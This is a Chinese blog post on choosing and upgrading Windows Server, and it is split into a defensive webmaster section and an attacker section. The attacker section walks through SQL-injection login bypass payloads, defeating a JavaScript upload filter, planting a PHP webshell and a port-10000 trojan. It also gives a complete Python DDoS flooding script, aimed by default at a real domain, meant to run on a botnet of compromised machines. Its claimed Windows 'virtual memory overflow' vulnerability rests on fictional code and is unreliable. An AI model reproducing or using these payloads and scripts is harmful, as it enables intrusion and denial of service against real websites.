用WinServer?第一步,得看版本!

这次文章我使用了两面的方式,第一面是站长,第二面是攻击者(黑客),通过不同的角度,来模拟这个事件。

第一面:站长

Windows Server 2008停止支持

“停止支持”就是指Windows版本不会再接到安全更新,这意味着许多危险的漏洞一旦被黑客发现,只能乖乖被打。
用WinServer?第一步,得看版本!_第1张图片
但虽然Microsoft放弃WinServer2008(R2),其他的安全供应商和防病毒产品却没有放弃。更多的软件运营而出,其中就有一个软件“WinServer2008安全卫士”专门为WinServer2008打造,修复那些安全漏洞。
通常黑客入侵网站貌似都是靠网站脚本的漏洞(XSS/SQL等)拿到网站的管理权,但其实一些很高深的黑客,大多都是靠系统漏洞拿到整个操作系统的管理权。一些技术很高的黑客,甚至拿到操作系统权后,还要拿到硬件控制权(MBR木马,伪操作系统命令CPU/硬盘等),让整台服务器归他所有。
这听起来让我们站长毛骨悚然,但其实这一切背后都有解决的方案。

第一种场景:准备买服务器了?

如果你需要购买云服务器,一定要认好厂商。我这里不是打广告,而是真的推荐各位去类似阿里云、腾讯云、百度云这些大的供应商购买,这样安全会有一些保障(我之前遇到一个,买了一台云服务器,在X宝云买的,结果那家供应公司倒闭了,服务器凉凉…………)。
选择好供应商后,就得选配置了。

网站 静态网站 动态网站 操作系统
企业官网 4H2G5M60GB 4H4G10M80GB Windows Server 2012 R2
个人主页 1H1G1M40GB 1H4G2M40GB Windows Server 2008 R2(不考虑安全,因为配置问题)
游戏网页 4H4G50M100GB 8H16G50M120GB Windows Server 2016
社交网站 8H8G20M60GB 8H8G30M80GB Windows Server 2012 R2

如果你准备买物理服务器,请你务必注意以下配置:

可用 CPU 硬盘 内存 散热
Good 8HAMD 1.5GHz↑ 40GB↑ 8GB物理 8.5GB虚拟↑ 液柱降温
OK 4HAMD1.5GHz↑ 30GB↑ 4GB物理 6GB虚拟↑ 风扇降温
Oh no 2HARM1.5GHz↓ 20GB↓ 2GB物理 0GB虚拟↓ 无降温工具

(* Good表示很好,OK表示可以,Oh no表示买了就吃亏了)
(* ↑表示以上,↓表示以下)

第二种场景:准备更新系统?

因为2008的终结,许多服务器都需要更新系统了。例如政府服务器(据我所知,我所在地的政府机关用的服务器竟然是2000…)
那么,不同版本的服务器该如何升级到适合的版本呢?

如果你是Windows Server 2000(R2)

必须升级了,因为Server 2000的漏洞简直是惨不忍睹。用Fluxay工具一扫2000,几乎一抓一大把致命BUG。
升级方式:
第一步,备份网站文件以及对系统内重要的文件,存在U盘(或其他硬盘)当中。(如果你是云服务器,则备份至云储存,例如阿里的OSS)
第二步,下载适合你服务器的镜像并安装。(云服务器可使用重装系统功能)

配置 可用系统
1H1G1M20GB以下 Windows Server 2012 核心版本(GUI如果安装则会从出现安装不上
1H1G1M40GB以上 Windows Server 2012 GUI/核心版本、Windows Server 2016核心版本

第三步,安装后远程连接服务器,并且下载云储存或复制硬盘的文件到服务器,配置Apache/Nginx/IIS,并启动服务即可。

如果你是Windows Server 2008(R2)

你可以选择升级,因为Server 2008虽然已停止支持,但是目前为止2008还不是太严重,不过建议升级。用Fluxay工具一扫2008,没扫出太多致命漏洞。
升级方式:
第一步,备份网站文件以及对系统内重要的文件,存在U盘(或其他硬盘)当中。(如果你是云服务器,则备份至云储存,例如阿里的OSS)
第二步,下载适合你服务器的镜像并安装。(云服务器可使用重装系统功能)

配置 可用系统
1H1G1M20GB以下 Windows Server 2012 核心版本(GUI如果安装则会从出现安装不上
1H1G1M40GB以上 Windows Server 2012 GUI/核心版本、Windows Server 2016核心版本

第三步,安装后远程连接服务器,并且下载云储存或复制硬盘的文件到服务器,配置Apache/Nginx/IIS,并启动服务即可。

第三种场景:服务器总是被攻击导致服务停止?

如果你用的是已经不受支持的系统,推荐更新系统。请参阅“第二种场景:准备更新系统?”
如果你用的是最新版或正在支持的系统,则需要考虑维护服务器漏洞和网站。下载安全狗软件,修复服务器安全漏洞以及扫描网站漏洞和木马(例如一句话、加密后门),并开启服务器防御模式,可有效对付攻击。
但很多攻击者会绕狗(就是躲避安全狗),这又是一个难题。遇到这种情况,如果你是技术人员,则可以尝试手动防御。如果你是一个代码一窍不通的站长,则只好下载一系列的安放软件尝试防御了。

手动防御

如果你遭遇了DDoS/CC攻击

下载抓包软件,检测是哪个IP对你进行了大量的连接。找到后,如果是公网IP,则可以利用安全狗IP,如果是内网IP(因为对方没有公网IP,则显示内网分配的IP),则最好不要禁止,因为有些网站访问者可能被分配到了一样的内网IP,这样会导致普通用户无法访问网站。
如果是后面的情况,则继续阅读以下内容。

内网攻击者防御

内网攻击者一般都是普通的小黑客测试,例如读了我的文章Python3实现DDoS,想试一试。可是没想到造成了如此后果。
遇到内网攻击者,我们可以尝试:
暂时关闭网站,可能对方只是一时兴起,一段时间后便会风平浪静。
在站点上公布信息,劝告对方停止攻击。
联系网警并咨询方案,网警会帮助你防护并让对方受到一定的法律措施。
如果以上方法都不管用,那么我们要做的只有一个了:
继续防护。
找到内网攻击者IP,确认对方攻击的规律,并且确认对方有多少机器同时在进行攻击。明了后,再检查对方攻击的连接类型以及端口,如果是TCP/UDP连接,并且是80或443端口,则继续往下读。如果不是80/443端口,则可禁止此端口通过即可。(80/443是不固定的,按照你网站的端口来)

更深防御

暂时关闭网站服务,并且申请闭站保护。申请完毕后,则可开始防御。
我们已经明白了对方的发包/连接规律,互联网中的连接一般都是携带信息的,利用抓包软件查看其中的信息,如果是一些从网上复制的代码,这里面的信息一般都是一些啥Test啊,Hacker啊一系列的。找到这些信息后,将其复制,利用脚本,每个连接检查包中是否包含此内容,如果有,那么1分钟内禁收此类型的包(封掉此类型的包),一段时间后,应该会有好转。

如果你遭遇了病毒/木马的攻击

下载防病毒产品扫描并删除病毒/木马。
如果防病毒软件无法启动,则可使用以下办法:
先打开CMD,输入tasklist,记录下来。
设置EXE文件打开方式为记事本,这样病毒运行时只会打开记事本程序。而这样却又阻碍了Windows辅助程序的运行,所以我们是打不开资源浏览器的。
我们利用搜索栏搜索到CMD,然后输入tasklist,检查不正常的进程,终止它。(taskkill /IM xxx.exe)
终止后,我们需要找到此文件。恢复EXE打开方式为默认(CMD:ftype exefile="%1" %*),然后打开文件资源管理器,搜索此文件并强制删除。如果无法删除,例如显示与某类型文件或系统文件捆绑,则可以尝试进入安全模式后删除。删除后,根据网络教程修改注册表即可恢复正常。
恢复后,别忘使用安全软件再次杀毒!

如果你的系统经常莫名其妙弹出CMD弹窗或执行命令

你很可能中了病毒或木马!
木马和病毒清除方法如上,但还有一种情况,就是……
中了一句话木马!
寻找WWW根目录下的不正常文件,打开后检查内容是否是正常程序,如果不是,则立刻删除。

第二面:攻击者

利用Windows漏洞攻击是一种很深奥的攻击方式,例如Wnuke黑客软件,就是利用Win2000/XP/Server 2000-2008的缓冲区漏洞来实现攻击的。
我们可以利用漏洞扫描器扫描到漏洞,然后利用此漏洞进行攻击。但大多数情况下,我们对一些陌生的漏洞的了解是比较少的,所以我们可以百度此漏洞,如果可以找到,就根据网上的教程进行入侵就可以了。
这里我收集了2个常见的老版本Windows漏洞,并列举了攻击方式。

No.1 WinServer2008R2强制连接端口漏洞

Windows Server 2008 R2的漏洞还是很多的,例如远程桌面连接漏洞、强制连接端口漏洞等。今天我们就来讲这个强制连接端口漏洞。(利用一点点网站漏洞)

强制连接端口

强制连接端口漏洞主要是Net Use方面,Net Use共享是一个很实用的功能。我们可以利用文件管理器实现Net Use,也可以利用CMD命令提示符。
CMD命令提示符:

此命令的语法是:
NET USE
[devicename | *] [\\computername\sharename[\volume] [password | *]]
        [/USER:[domainname\]username]
        [/USER:[dotted domain name\]username]
        [/USER:[username@dotted domain name]
        [/SMARTCARD]
        [/SAVECRED]
        [/REQUIREINTEGRITY]
        [/REQUIREPRIVACY]
        [/WRITETHROUGH]
        [[/DELETE] | [/PERSISTENT:{YES | NO}]]

NET USE {devicename | *} [password | *] /HOME

NET USE [/PERSISTENT:{YES | NO}]

NET USE 将计算机连接到共享资源
或将计算机与共享资源断开连接。使用时如果没有选项,它会列出
计算机的连接。

devicename       分配一个名称以连接到资源,或指定
                 要断开连接的设备。有两种
                 设备名称: 磁盘驱动器(D: 至 Z:)和打印机
                 (LPT1: 至 LPT3:)。键入星号而不是
                 特定设备名称以分配下一个可用
                 设备名称。
\\computername   为控制共享资源的计算机
                 的名称。如果计算机名包含空白字符,
                 则用引号(" ")将双反斜杠(\\)和计算机名
                 括起来。计算机名的长度可以为
                 1 至 15 个字符。
\sharename       为共享资源的网络名称。
\volume          指定服务器上的 NetWare 卷。必须已安装并正在运行
                 Netware 客户端服务(Windows Workstations)
                 或 Netware 网关服务(Windows Server)
                 才能连接到 NetWare 服务器。
password         为访问共享资源所需的密码。
*                产生密码提示。在密码提示处
                 键入密码时不显示密码。
/USER            指定进行连接的另一个
                 用户名。
domainname       指定其他域。如果忽略域,
                 则使用当前登录的域。
username         指定登录所使用的用户名。
/SMARTCARD       指定连接将使用智能卡上
                 的凭据。
/SAVECRED        指定要保存用户名和密码。
                 该开关将被忽略,除非命令提示输入用户名
                 和密码。
/HOME            将用户连接到他们的主目录。
/DELETE          取消网络连接并
                 从持续连接列表中删除该连接。
/REQUIREINTEGRITY
                 需要签名的共享连接。如果提供程序
                 不支持签名连接,则操作将失败。
/REQUIREPRIVACY  需要加密的共享连接。如果提供程序
                 不支持加密连接,则操作将失败。

/PERSISTENT      控制持续网络连接的使用。
                 默认为上次使用的设置。
YES              进行连接时将它们保存,并在下次
                 登录时将它们恢复。
NO               不保存正在进行的连接或随后的
                 连接;下次登录时将恢复
                 现有连接。使用 /DELETE 开关删除
                 持续连接。

NET HELP 命令 | MORE 显示帮助,一次显示一屏。

通过Net Use连接对方,是需要密码的。可惜我们不知道Windows Server 2008 R2主机的密码。但是一个漏洞可以帮助我们。

端口扫描

扫描Windows Server 2008 R2后:
[+] 21 open
[+] 23 open
[+] 55 open
[+] 80 open
[+] 81 open
[+] 88 open
[+] 888 open
[+] 8000 open
[+] 8888 open
[+] 8900 open
[+] 9000 open
[+] 10000 open
[+] 10020 open
[+] 30122 open
[*] The scan is complete!
[*] A total of 14 open port
(这个结果不一定一致,因为某些管理员关闭了一些端口。但Windows Server 2008 R2某些版本因为一些原因默认开启了很多端口,并且这些端口都是空闲状态)
这些端口我们可以用来部署一个木马程序,我们可以利用Python写一个针对端口开放的木马,并且依靠网站漏洞上传。
我们可以选择端口:10000

利用网站后台上传漏洞上传EXE程序和一句话木马

他们是PHP5.2+MySQL5的网站,后台界面没有进行严格的SQL防护,但’or’=‘or’漏洞的万能密码却被过滤了。测试了29个’or’=‘or’万能码,都被红字弹窗打回。再次尝试注入:
UserName:admin#
PassWord:–
成功进入!
进入后用户名为AD_Admin,看来是我用户名搞错了!
注销后再次尝试注入:
UserName:AD_Admin
PassWord:a’ or 1=1–
成功进入………………(我真是……)
进入后,找一找上传文件的页面,竟然没有。只好找其他上传图片的页面,发现一个“上传首页滚动横幅”的选项,赶紧打开看看,结果限制上传.jpg/.png图片,思考半天,按了一个F12看看,没想到网站竟然是靠AJAX+javascript+PHP实现的上传!找到这里,JavaScript里有这么一段语句(已探过,是纯净态的页面传给do_picture.php):

...
if(filename.indexOf('png') !=-1 || filename.indexOf('jpg') !=-1){
	...
}
...

把这个If删了!(偷偷地笑容)
删掉后上传一句话木马,成功上传。(没想到有人这么傻,在JavaScript里判断文件后缀)
上传后忽然发现不知道文件路径在哪,忽然想起来首页不是有图片吗!赶紧到首页去看看,首页上有一个破碎的图片(无效图片),复制链接,果然是我的一句话木马。
利用菜刀将PHP一句话换到C:\Windows\目录下,继续弄。
弄好后,再利用后台漏洞上传另一个滚动横幅,是一个自己写的监听10000端口的EXE木马,并且与sys文件绑定。上传后找到路径,利用PHP一句话移动都C:\Windows目录下,完美。
运行程序,并且用自己写的客户端连接服务器,成功!
致此,强制连接案例成功。

No.2 Windows Server 2012 R2漏洞

这个嘛,毕竟是Microsoft还在更新的版本,所以漏洞不多。但是毕竟还是有不少的!所以赶紧尝试尝试……

利用Windows Server 2012 R2的溢出漏洞快速崩溃对方服务

“分布式拒绝服务攻击”(DDoS)大家都听过。那么DDoS的原理可以这么理解:
不断向你扔苹果,最后你接不住了,苹果撒了,人累瘫了。
但是,DDoS的攻击流程是如何的?看一下我的网站遭遇DDoS后的详细信息:

时间 消耗 状态
2020-7-29 19GB流量 2GB运存已满80% CPU100% 运行堵塞
2020-7-30 40GB流量 2GB运存全满 CPU100% 服务崩溃
2020-8-10 109.02GB流量 2GB运存全满 虚拟内存3GB CPU100% 服务崩溃,服务器界面卡死
2020-8-19 201.29GB流量 2GB运存全满 虚拟内存20GB CPU100% 服务器硬件过热损坏

简简单单的DDoS竟有这么大的能力!还能让我服务器硬件过热!(毕竟很正常,服务器超负荷了,硬件自然……)
那么我们今天利用Windows Server 2012 R2的“虚拟内存溢出”漏洞,让Windows Server 2012 R2的“硬盘爆满”“内存爆炸”“CPU100%”“硬件烧烂”吧!

DDoS攻击?需要肉鸡!

首先确保你有不少于100台肉鸡(傀儡),否则很难成功!

全部肉鸡发动DoS攻击组成DDoS

Python脚本:(可以PyInstaller打包后放到肉鸡上)

import socket
import time
import threading
#Pressure Test,ddos tool

#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            #print ("Send buf OK!,conn=%d\n"%i)
            socks.append(s)
        except Exception as ex:
            #print ("Could not connect to server or send error:%s"%ex)
            time.sleep(10)
#end def
 
def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
                #print "send OK!"
            except Exception as ex:
                #print ("Send Exception:%s\n"%ex)
                socks.remove(s)
                s.close()
        time.sleep(1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

(注意修改参数)
打包后让所有虚拟机运行此脚本(打包注意-w参数),即可发动DDoS攻击。我们看一下Servre 2012 R2的状态:

时间 消耗 状态 配置
2020-8-20 05:02:10 16G运存已满10% CPU30%(共16H,4核正在超负荷工作) 虚拟内存已2GB 正常运行 16H16G (虚20G) 10M 29GB/40GB硬盘
2020-8-20 09:19:21 16GB运存已满89% CPU80%(共16H,12H正在超负荷工作) 虚拟内存已12GB 运行缓慢 16H16G(虚20G) 10M 39GB/40GB(硬盘要满了!!!)
2020-8-20 10:20:10 16GB运存全满 CPU100%(共16H,16H正在超负荷工作) 虚拟内存已13GB 系统已崩溃,储存空间/运存 不足 16H16G(虚20G) 10M 40GB/40GB(硬盘满了,系统无法读取写入日志,导致崩溃。并且内存也满了)

你可以很期待服务器硬件“爆炸”的那一刻。但抱歉,我不想这么做。因为这是我的服务器啊……
已经看到了,如果你的Windows Server 2012 R2的配置过高,并且你设置了虚拟内存很大,很可能在遭遇DDoS的时候让虚拟内存瞬间占满全盘。而Microsoft的Server系列里貌似没有检测硬盘是否不足的功能,如果硬盘不足,应该停止虚拟内存的使用,或直接尝试重启,而不是像傻子一样不断的祸害硬盘小哥……

漏洞说明

此漏洞是个人研究发现的。因为MicrosoftServer设置虚拟内存时推荐设置比自己运存大一点儿的,所以硬盘空间就有可能在超负荷时,全部变满。因为Windows Server里没有这种代码:

...
if(hard_disk_space<10GB){
	windows.virtual_memory.stop();
	windows.warning(title="Windows 警告",content="储存空间不足,虚拟内存已停止读写。",button1="确认");
}
else{
	...
	windows.virtual_memory.read(xx,xx);
	...
	windows.virtual_memory.write(xx,xx);
	
}
...

(本段代码纯属虚构)
如果有这段代码,那么Windows肯定会及时检测虚拟内存是否过大,并且硬盘空间是否充足。如果不充足,那么就停止。这样下去,硬盘里的虚拟内存就会溢出,导致整块硬盘储存溢出崩溃。

总结

Windows Server的版本一定要选好,并且要根据自己的情况来选择。
攻击者也一定要了解windows server版本,并找到适当的漏洞来攻击。这样攻击,就会事半功倍。
感谢阅读,下期再见!

你可能感兴趣的:(Windows,Server,Server,安全,攻击,黑帽/白帽)